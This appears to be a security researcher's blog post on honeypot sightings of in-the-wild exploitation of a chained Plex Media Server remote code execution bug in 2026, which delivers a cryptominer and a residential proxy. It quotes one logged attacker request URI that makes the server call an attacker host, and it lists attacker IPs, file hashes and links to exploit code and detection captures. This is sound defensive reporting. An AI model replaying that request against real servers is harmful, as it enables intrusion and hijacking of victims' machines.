Intro:
(No AI was involved in writing, research, etc...)
If you see weird fonts and spacing, blame Blogger.
Skip to "In the wild exploitation" if you just care about that part.
It's just a cryptominer. On one hand that's not a big deal for victims on the other hand, I don't get interesting c o n t e n t to write about.
I wouldn't be surprised if threat actors deploy more sophisticated things. Plex may be hosted on residential IP and I think threat actors would love to have residential IP proxy to access corporate VPNs and emails. (edit: see update at the bottom. i do see proxy being deployed now)
Back on September 1st, 2026, Plex sent out emails and did a security announcement regarding important security updates. See the post here: https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319
As an infosec person and a Plex user, I was really curious about what this vuln was and if I could see in-the-wild exploitation. I set up a honeypot w/ a vulnerable Plex version running.
The details were limited and they said that they'd update the page with more details so I kept watching and didn't see anything.
Finally, on Sep 26th, I saw some CVE's get published here: https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html but none of them had CVSS score of 9+. They did contain a link to a blog post which was not released at the time.
Link was to https://zmain.info/blog/plex2shell and release was supposed to be mid Oct so I waited and finally saw an update on Oct 16th (yesterday). The author had discovered and chained several vulns together to get remote code exec which was pretty cool.
CVE's:
CVE-2026-96652
CVE-2026-96654
CVE-2026-96655
CVE-2026-96656
Here's their code: https://github.com/code-zm/plex2shell/
I did do testing in the lab. Here are pcaps for detection/signature work: https://github.com/BoredHackerBlog/plex2shell_pcap
Plex2Shell In the wild exploitation:
My honeypot mostly saw scanning and generic exploitation attempts.
As of this morning (Oct 17th), I finally saw in the wild exploitation.
So by default, I don't allow outbound traffic from my honeypots but due to how this vuln works, I had to go modify my settings later on so sadly I didn't get payloads for all the attacks. It's possible that I have partial data. I haven't gone through pcaps and I had to modify settings for tcpdump anyway. The attacker could be using slightly modified code & technique too.
Here's what I observed:
First exploitation attempt came from 45.194.92.222. From zeek logs:
"uri": "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471",
"user_agent": "Python-urllib/3.10",
The following two IP's were seen doing exploitation as well:
91.92.40.202
176.65.139.228
I went back and changed my honeypot configuration to allow outbound traffic and saw continued exploitation from 45.194.92.222.
This time I did see in the logs that there was a file download happening from 217.60.194.116.
The following was contained inside of the docker file:
Of course it's a cryptominer.
IOCs:
For detection of the attack, look at my github pcap link and source code from the main author.
This is just for what was seen on the honeypot.
IP's responsible for exploitation as of writing this:
91.92.40.202
176.65.139.228
45.194.92.222
176.65.139.228
Malicious file download source:
217.60.194.116 (docker & x)
File hashes:
5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441 docker
68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7 x (upx packed)
b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 x (upx unpacked)
EDIT: Oct 17th, 2nd update:
Seeing more activity and I dropped artifacts on Github.
Saw "myawesomeproxy" running as well (I don't have time to analyze it but its on github now)
Hashes:
e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9 myawesomeproxy
2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db xmrig
Here's what it prints when running:
"Running this software on any of your devices makes you agree to the potential external use of your internet traffic"
My sandbox reports for myawesomeproxy:
https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f
https://tria.ge/261017-3ytcaady7p
https://tria.ge/261018-ab8jgady9p
I see some traffic related to proxystream.st and found this: https://www.bitsight.com/blog/who-invited-aisuru-lan-party
similar sample found through googling: https://www.joesandbox.com/analysis/1934662/0/html
EDIT: Oct 18th, 2nd update
After not seeing much about this, I finally logged into my million year old reddit account and started this discussion to see if anyone else was impacted: https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/
The person who discovered the vuln did publish detections here: https://github.com/code-zm/plex2shell/tree/main/detection